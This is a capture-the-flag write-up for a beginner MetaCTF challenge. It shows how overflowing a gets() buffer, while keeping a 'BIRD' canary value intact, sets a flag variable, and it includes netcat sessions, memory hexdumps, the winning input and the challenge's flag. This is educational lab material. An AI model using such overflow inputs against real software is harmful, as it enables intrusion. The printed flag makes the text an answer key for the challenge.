Solution
This is an introductory binary exploitation challenge, featuring a very simple buffer overflow along with a rudimentary “stack canary” that you have to avoid changing the value of.
Let’s start by looking at the source code, which can be downloaded in the challenge description. Let’s summarize it and clean it up a bit to make it easier to look through – the win
and hexdump
functions are pretty simple and aren’t part of the “exploit” process.
void win() {
/// Print out the flag
}
void hexdump(void *addr, int len) {
/// Print out a hexdump of memory at and after a given address
}
int main() {
struct {
char mine[64]; // this is where the user's input goes!
int canary; // this is a 4-byte value that we need to avoid changing the value of
bool earnedFlag; // we need to edit the value of this variable
} mineshaft;
char debris[256];
mineshaft.canary = 0x44524942; // "BIRD" in little endian
mineshaft.earnedFlag = false;
printf("Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's guarded by our trusty canary!\n\n");
// Zero out the buffer
memset(mineshaft.mine, 0, sizeof(mineshaft.mine));
printf("Memory layout before input:");
hexdump(&mineshaft, sizeof(mineshaft));
printf("\n");
while(1)
{
printf("Place some characters into the mine: ");
gets(mineshaft.mine); // User's input is read into mineshaft.mine
printf("\nMemory layout after input:");
hexdump(&mineshaft, sizeof(mineshaft)); // Display memory layout
if (mineshaft.canary != 0x44524942) { // "BIRD" in little-endian
printf("Oh no, the canary died! We need to evacuate immediately!\n\n");
return 0;
} else {
printf("Canary is alive.\n");
if (mineshaft.earnedFlag) { // is mineshaft.earnedFlag non-zero?
win(); // We need to get to this line!
} else {
printf("Looks like you haven't earned your flag yet though...\n\n");
}
}
}
}
How to win()
The goal is to run the win()
function. The conditions for it to be called are pretty straightforward: mineshaft.canary
still contains its starting value, which is 0x44524942
(the four-character string BIRD
); and mineshaft.earnedFlag
is true, which just means that it’s been set to some non-zero value.
However, it seems like the only variable we have influence over is mineshaft.mine
; our input is read into it via gets()
. But this function, which used to be the standard C user-input function, is famously vulnerable – it won’t limit the amount of input it reads, so if we provide more than 64 characters of input, it’ll overflow into the memory further down. In this case, we would first overflow over canary
, and then over earnedFlag
.
Let’s connect to the remote instance and play with the program a bit. We need to use a common Unix program called netcat, or nc
.
Messing around
$ nc host3.metaproblems.com 5980
Welcome to the MetaCTF bitcoin mine, we have a flag you can earn, but it's guarded by our trusty canary!
Memory layout before input:
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
Place some characters into the mine: abcde
Memory layout after input:
0000 61 62 63 64 65 00 00 00 00 00 00 00 00 00 00 00 abcde...........
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
Canary is alive.
Looks like you haven't earned your flag yet though...
Place some characters into the mine: abcdefg
Memory layout after input:
0000 61 62 63 64 65 66 67 00 00 00 00 00 00 00 00 00 abcdefg.........
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
Canary is alive.
Looks like you haven't earned your flag yet though...
Let’s try sending a whole lot of characters so that we cause an overflow.
Memory layout before input:
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
Place some characters into the mine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Memory layout after input:
0000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0040 61 61 61 61 61 61 61 61 aaaaaaaa
Oh no, the canary died! We need to evacuate immediately!
We succeeded, but we need to avoid overwriting the canary. The canary, in memory, is just the string “BIRD”. So let’s try sending exactly 64 characters (we’ll use a
, as is tradition) and then BIRD
. You can type them out manually, or run 'a' * 64
in Python to generate 64 a
s.
Memory layout before input:
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
Place some characters into the mine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBIRD
Memory layout after input:
0000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0040 42 49 52 44 00 00 00 00 BIRD....
Canary is alive.
Looks like you haven't earned your flag yet though...
We kept the canary alive! But now we need to set that final bool to any non-zero value. Let’s just supply another a
after the BIRD
.
Memory layout before input:
0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 42 49 52 44 00 00 00 00 BIRD....
Place some characters into the mine: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBIRDa
Memory layout after input:
0000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0040 42 49 52 44 61 00 00 00 BIRDa...
Canary is alive.
Well done, you've earned the flag!
MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}
Flag
MetaCTF{g0t_7h3_fl4g_4nd_s4v3d_7h3_canary}